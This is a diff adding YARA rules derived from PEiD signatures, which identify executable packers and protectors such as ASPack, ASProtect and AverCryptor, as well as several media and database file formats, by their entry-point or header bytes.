+        description = "[ASPack v1.07b (DLL)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5}
+    condition:
+        $a
+}
+
+rule PEiD_00213_ASPack_v1_07b_
+{
+    meta:
+        description = "[ASPack v1.07b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 0B DE ?? 89 85 17 DE ?? ?? 80 BD 01 DE}
+    condition:
+        $a
+}
+
+rule PEiD_00214_ASPack_v1_07b_
+{
+    meta:
+        description = "[ASPack v1.07b]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_00215_ASPack_v1_08_01____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v1.08.01 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB ?? 5D EB ?? FF ?? ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_00216_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 00 BB 10 ?? 44 00 03 DD 2B 9D}
+    condition:
+        $a
+}
+
+rule PEiD_00217_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D}
+    condition:
+        $a
+}
+
+rule PEiD_00218_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 ?? 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00219_ASPack_v1_08_01_
+{
+    meta:
+        description = "[ASPack v1.08.01]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 ?? 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00220_ASPack_v1_08_02_
+{
+    meta:
+        description = "[ASPack v1.08.02]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72}
+    condition:
+        $a
+}
+
+rule PEiD_00221_ASPack_v1_08_02_
+{
+    meta:
+        description = "[ASPack v1.08.02]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 01 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00222_ASPack_v1_08_02_
+{
+    meta:
+        description = "[ASPack v1.08.02]"
+        ep_only = "true"
+    strings:
+        $a = {90 75 01 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00223_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD}
+    condition:
+        $a
+}
+rule PEiD_00224_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+    condition:
+        $a
+}
+
+rule PEiD_00225_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD}
+    condition:
+        $a
+}
+
+rule PEiD_00226_ASPack_v1_08_03_
+{
+    meta:
+        description = "[ASPack v1.08.03]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+    condition:
+        $a
+}
+
+rule PEiD_00227_ASPack_v1_08_04____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v1.08.04 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 41 06 00 00 EB 41}
+    condition:
+        $a
+}
+
+rule PEiD_00228_ASPack_v1_08_x_
+{
+    meta:
+        description = "[ASPack v1.08.x]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 00 BB 10 6A 44 00 03 DD 2B 9D 2A}
+    condition:
+        $a
+}
+
+rule PEiD_00229_ASPack_v1_08_
+{
+    meta:
+        description = "[ASPack v1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 75 01 FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_00230_ASPack_v1_08_
+{
+    meta:
+        description = "[ASPack v1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 01 FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_00231_ASPack_v1_08_
+{
+    meta:
+        description = "[ASPack v1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 01 FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_00232_ASPack_v2_000____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v2.000 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 70 05 00 00 EB 4C}
+    condition:
+        $a
+}
+
+rule PEiD_00233_ASPack_v2_001____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASPack v2.001 -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 72 05 00 00 EB 4C}
+    condition:
+        $a
+}
+
+rule PEiD_00234_ASPack_v2_11_
+{
+    meta:
+        description = "[ASPack v2.11]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 3D 04 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00235_ASPack_v2_11b_
+{
+    meta:
+        description = "[ASPack v2.11b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 3D 04 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00236_ASPack_v2_11c_
+{
+    meta:
+        description = "[ASPack v2.11c]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 59 04 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00237_ASPack_v2_11d_
+{
+    meta:
+        description = "[ASPack v2.11d]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55}
+    condition:
+        $a
+}
+
+rule PEiD_00238_ASPack_v2_12_
+{
+    meta:
+        description = "[ASPack v2.12]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01}
+    condition:
+        $a
+}
+
+rule PEiD_00239_ASPack_v2_12_
+{
+    meta:
+        description = "[ASPack v2.12]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00240_ASPack_v2_1_
+{
+    meta:
+        description = "[ASPack v2.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 72 05 00 00 EB 33 87 DB 90 00}
+    condition:
+        $a
+}
+
+rule PEiD_00241_ASPack_v2_xx_
+{
+    meta:
+        description = "[ASPack v2.xx]"
+        ep_only = "true"
+    strings:
+        $a = {A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+    condition:
+        $a
+}
+
+rule PEiD_00242_ASPack_v2_xx_
+{
+    meta:
+        description = "[ASPack v2.xx]"
+        ep_only = "true"
+    strings:
+        $a = {A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF 95}
+    condition:
+        $a
+}
+
+rule PEiD_00243_ASPR_Stripper_v2_x_unpacked_
+{
+    meta:
+        description = "[ASPR Stripper v2.x unpacked]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 60 9C FC BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AA 9D 61 C3 55 8B EC}
+    condition:
+        $a
+}
+
+rule PEiD_00244_ASProtect_1_23_RC4_build_08_07__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect 1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00245_ASProtect_1_23_RC4_build_08_07__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect 1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00246_ASProtect_1_33___2_1_Registered____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASProtect 1.33 - 2.1 Registered -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {68 01 ?? ?? ?? E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+rule PEiD_00247_ASProtect_2_0_
+{
+    meta:
+        description = "[ASProtect 2.0]"
+        ep_only = "false"
+    strings:
+        $a = {68 01 ?? 40 00 E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00248_ASProtect_2_3_SKE_build_04_26_Beta_
+{
+    meta:
+        description = "[ASProtect 2.3 SKE build 04.26 Beta]"
+        ep_only = "false"
+    strings:
+        $a = {68 01 60 40 00 E8 01 00 00 00 C3 C3 0D 6C 65 3E 09 84 BB 91 89 38 D0 5A 1D 60 6D AF D5 51 2D A9 2F E1 62 D8 C1 5A 8D 6B 6E 94 A7 F9 1D 26 8C 8E FB 08 A8 7E 9D 3B 0C DF 14 5E 62 14 7D 78 D0 6E}
+    condition:
+        $a
+}
+
+rule PEiD_00249_ASProtect_SKE_2_1_2_2__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00250_ASProtect_SKE_2_1_2_2__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00251_ASProtect_SKE_2_1_2_2__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00252_ASProtect_SKE_2_1_2_2__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00253_ASProtect_SKE_2_1_2_2__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00254_ASProtect_SKE_2_3____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.3 -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 E5 0B 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00255_ASProtect_v1_0_
+{
+    meta:
+        description = "[ASProtect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 ?? ?? ?? 90 5D 81 ED ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D}
+    condition:
+        $a
+}
+
+rule PEiD_00256_ASProtect_v1_1_MTE_
+{
+    meta:
+        description = "[ASProtect v1.1 MTE]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 ?? ?? ?? ?? 91 78 79 79 79 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00257_ASProtect_v1_1_MTEc_
+{
+    meta:
+        description = "[ASProtect v1.1 MTEc]"
+        ep_only = "true"
+    strings:
+        $a = {90 60 E8 1B ?? ?? ?? E9 FC}
+    condition:
+        $a
+}
+
+rule PEiD_00258_ASProtect_v1_1_
+{
+    meta:
+        description = "[ASProtect v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 ?? 04 ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? EE}
+    condition:
+        $a
+}
+
+rule PEiD_00259_ASProtect_v1_2____Alexey_Solodovnikov__h1__
+{
+    meta:
+        description = "[ASProtect v1.2 -> Alexey Solodovnikov (h1)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 1B 00 00 00 E9 FC 8D B5 0F 06 00 00 8B FE B9 97 00 00 00 AD 35 78 56 34 12 AB 49 75 F6 EB 04 5D 45 55 C3 E9 ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00260_ASProtect_v1_23_RC1_
+{
+    meta:
+        description = "[ASProtect v1.23 RC1]"
+        ep_only = "true"
+    strings:
+        $a = {68 01 ?? ?? 00 E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00261_ASProtect_v1_23_RC4_build_08_07__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect v1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00262_ASProtect_v1_23_RC4_build_08_07__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect v1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00263_ASProtect_v1_2x__New_Strain__
+{
+    meta:
+        description = "[ASProtect v1.2x (New Strain)]"
+        ep_only = "true"
+    strings:
+        $a = {68 01 ?? ?? ?? E8 01 ?? ?? ?? C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00264_ASProtect_v1_2x_
+{
+    meta:
+        description = "[ASProtect v1.2x]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 68 01 ?? ?? ?? C3 AA}
+    condition:
+        $a
+}
+rule PEiD_00265_ASProtect_V2_X_DLL____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASProtect V2.X DLL -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 ?? ?? 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ?? ?? ?? ?? 03 DD}
+    condition:
+        $a
+}
+
+rule PEiD_00266_ASProtect_v_______If_you_know_this_version__post_on_PEiD_board__h2__
+{
+    meta:
+        description = "[ASProtect v?.? -> If you know this version, post on PEiD board (h2)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00267_ASProtect_v_______If_you_know_this_version__post_on_PEiD_board_
+{
+    meta:
+        description = "[ASProtect v?.? -> If you know this version, post on PEiD board]"
+        ep_only = "true"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00268_ASProtect_vx_x_
+{
+    meta:
+        description = "[ASProtect vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {60 ?? ?? ?? ?? ?? 90 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 DD}
+    condition:
+        $a
+}
+
+rule PEiD_00269_ass___crypter____by_santasdad_
+{
+    meta:
+        description = "[ass - crypter -> by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00270_ass___crypter____by_santasdad_
+{
+    meta:
+        description = "[ass - crypter -> by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B D8 53 E8 DC EA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 F0 97 00 10 E8 C9 E7 FF FF B8 F0 97 00 10 E8 B7 E7 FF FF 8B CF 8B D6 E8 EE EA FF FF 53 E8 98 EA FF FF 8D 4D EC BA 9C 51 00 10 A1 F0 97 00 10 E8 22 EB FF FF 8B 55 EC B8 F0 97 00 10 E8 89 E6 FF FF B8 F0 97 00 10 E8 7F E7 FF FF E8 6E EC FF FF 33 C0 5A 59 59 64 89 10 68 7F 51 00 10 8D 45 EC E8 11 E6 FF FF C3 E9 FF DF FF FF EB F0 5F 5E 5B E8 0D E5 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 1C 00 00 00 45 4E 54 45 52 20 59 4F 55 52 20 4F 57 4E 20 50 41 53 53 57 4F 52 44 20 48 45 52 45}
+    condition:
+        $a
+}
+
+rule PEiD_00271_ASYLUM_Music_File_v_1_0_
+{
+    meta:
+        description = "[ASYLUM Music File v.1.0]"
+        ep_only = "false"
+    strings:
+        $a = {41 53 59 4C 55 4D 20 4D 75 73 69 63 20 46 6F 72 6D 61 74 20 56 31 2E 30 00}
+    condition:
+        $a
+}
+
+rule PEiD_00272_Audio_CD_file_
+{
+    meta:
+        description = "[Audio-CD file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 44 44 41 66 6D 74}
+    condition:
+        $a
+}
+
+rule PEiD_00273_AutoDesk_Animation_file_
+{
+    meta:
+        description = "[AutoDesk Animation file]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? 00 12 AF ?? ?? 40 01 C8}
+    condition:
+        $a
+}
+
+rule PEiD_00274_AverCryptor_1_0____os1r1s_
+{
+    meta:
+        description = "[AverCryptor 1.0 -> os1r1s]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 75 17 40 00 8B BD 9C 18 40 00 8B 8D A4 18 40 00 B8 BC 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 A0 18 40 00 33 C0 51 33 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 A0 18 40 00 8B 85 A8 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 BC 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 98 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00275_AverCryptor_1_02_beta____os1r1s_
+{
+    meta:
+        description = "[AverCryptor 1.02 beta -> os1r1s]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0C 17 40 00 8B BD 33 18 40 00 8B 8D 3B 18 40 00 B8 51 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 37 18 40 00 33 C0 51 33 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 37 18 40 00 8B 85 3F 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 51 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 2F 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00276_AVI_movie_file_
+{
+    meta:
+        description = "[AVI movie file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 41 56 49 ?? 4C 49 53 54}
+    condition:
+        $a
+}
+
+rule PEiD_00277_AVP_Antiviral_Database_
+{
+    meta:
+        description = "[AVP Antiviral Database]"
+        ep_only = "false"
+    strings:
+        $a = {41 56 50 20 41 6E 74 69 76 69 72 61 6C 20 44 61 74 61 62 61 73 65}
+    condition:
+        $a
+}
+
